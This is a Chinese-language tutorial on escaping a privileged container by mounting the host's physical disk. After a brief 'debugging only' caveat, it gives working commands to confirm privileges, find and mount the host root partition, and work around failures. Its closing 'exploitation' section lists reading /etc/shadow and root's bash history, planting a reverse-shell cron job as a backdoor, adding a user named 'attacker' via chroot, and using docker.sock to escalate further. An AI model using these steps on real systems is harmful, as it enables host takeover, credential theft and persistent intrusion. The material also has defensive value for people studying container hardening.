特权容器挂载宿主机物理硬盘本质是获取设备节点访问权并执行mount,属高危操作,仅限可信调试环境;生产环境严禁使用。

直接利用特权容器挂载宿主机物理硬盘,本质是让容器获得对宿主机设备节点的完整访问权,再通过 mount 命令将磁盘分区挂载进容器文件系统。这属于高危操作,仅适用于可信调试环境,生产环境严禁使用。
确认容器是否为特权模式
进入容器后,执行以下任一命令验证:
-
cat /proc/1/status | grep CapEff—— 若输出值为0000003fffffffff或全 F(如0000000xffffffff),说明拥有全部 capabilities,极可能为特权容器 -
ls /dev/sd*—— 能列出/dev/sda、/dev/sdb等原始块设备,是特权模式的典型表现 -
fdisk -l 2>/dev/null | grep "Disk /dev/"—— 可识别宿主机所有磁盘,包括未在容器内挂载的盘
识别并挂载目标物理磁盘分区
多数情况下,宿主机根分区位于 /dev/sda1(也可能是 /dev/nvme0n1p1 或 /dev/vda1)。操作步骤如下:
- 运行
fdisk -l查看可用磁盘及分区表,重点关注标识为Linux filesystem的分区 - 创建挂载点:例如
mkdir /host_root - 执行挂载:如
mount /dev/sda1 /host_root - 验证:运行
ls /host_root/etc/hostname或cat /host_root/etc/os-release,若能读取宿主机系统文件,即成功
常见失败原因与绕过方式
挂载失败常因权限或路径问题,而非内核限制:
- 尝试挂载
/dev/sda(整块盘)会失败,必须指定具体分区(如/dev/sda1) - 某些容器镜像精简了
mount工具,可先apt-get update && apt-get install -y util-linux(Debian/Ubuntu)或yum install -y util-linux(CentOS/RHEL) - 若提示
mount: /host_root: wrong fs type,需加-t ext4(或其他对应类型)显式指定文件系统 - 挂载只读?检查宿主机该分区是否已以
ro挂载,或容器启动时加了--read-only参数(特权模式下仍可被覆盖)
挂载后典型利用方向
一旦挂载成功,宿主机文件系统完全暴露:
- 读取敏感配置:如
/host_root/etc/shadow、/host_root/root/.bash_history、/host_root/etc/docker/daemon.json - 写入持久化后门:向
/host_root/etc/crontab或/host_root/var/spool/cron/root添加反弹 shell 计划任务 - 添加新用户:修改
/host_root/etc/passwd和/host_root/etc/shadow,或执行chroot /host_root useradd -m -s /bin/bash attacker - 注入 docker.sock:若宿主机启用了 Docker 服务,
/host_root/var/run/docker.sock可被用于创建新容器并逃逸到更高权限











